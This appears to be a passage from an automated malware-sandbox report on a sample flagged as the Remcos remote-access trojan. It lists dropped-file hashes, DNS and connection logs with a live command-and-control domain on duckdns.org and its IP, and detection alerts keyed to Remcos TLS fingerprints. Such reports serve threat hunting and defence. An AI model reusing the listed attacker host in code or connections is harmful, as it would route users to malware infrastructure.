SHA256:1EE47FD5EC3B23B6471CDE2B715007513BD72287E6D4DD1204B3BF8988329092
2388svchost.exeC:\Users\admin\AppData\Local\Temp\jidxtext
MD5:0888EB5C6DCC37DDA28287D909D6DB1C
SHA256:D3C10379D5FD57E579AD3FC6A5B12C5CF19827DDC4F78367B16ADE825F8C3F37
752cmd.exeC:\Users\admin\dwm.battext
MD5:293B26525434149E7303931FD54B5FA4
SHA256:5B87711334E3FD265B3A8A4AB175A6F4118B6EBBA3FF8AB59CE013E1167A8C62
2948powershell.exeC:\Users\admin\AppData\Local\Temp\TH94D8.tmpexecutable
MD5:0FCD0296CAEAD9343FCDAD3584F64A18
SHA256:71DD98860F562A59C39BE6EE5A40B35F29FCA1B13BCF0828B55613DAD0A67760
2948powershell.exeC:\Users\admin\AppData\Local\Temp\TH94EA.tmpexecutable
MD5:C2FF41EE5E0C9B1259F263ADC8A52363
SHA256:3455CB53E4BD4BE7279D770ED6C45004FA5B10C0CED2B2F110BB1E5DC8CE972B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
9
DNS requests
5
Threats
10

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2948
powershell.exe
GET
200
178.237.33.50:80
http://geoplugin.net/json.gp
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
224.0.0.252:5355
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2948
powershell.exe
45.148.18.43:53567
aneesh-technomakest.duckdns.org
Obehosting AB
NO
malicious
2948
powershell.exe
178.237.33.50:80
geoplugin.net
Schuberg Philis B.V.
NL
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 216.58.206.78
whitelisted
aneesh-technomakest.duckdns.org
  • 45.148.18.43
unknown
geoplugin.net
  • 178.237.33.50
whitelisted

Threats

PID
Process
Class
Message
1080
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
1080
svchost.exe
Misc activity
ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
1080
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
1080
svchost.exe
Misc activity
ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
1080
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
1080
svchost.exe
Misc activity
ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
2948
powershell.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
2948
powershell.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
2948
powershell.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
2948
powershell.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
723cd570a0aff149b0eb3140ceb46367174663f47419e9d0f86e123e7579d153.zip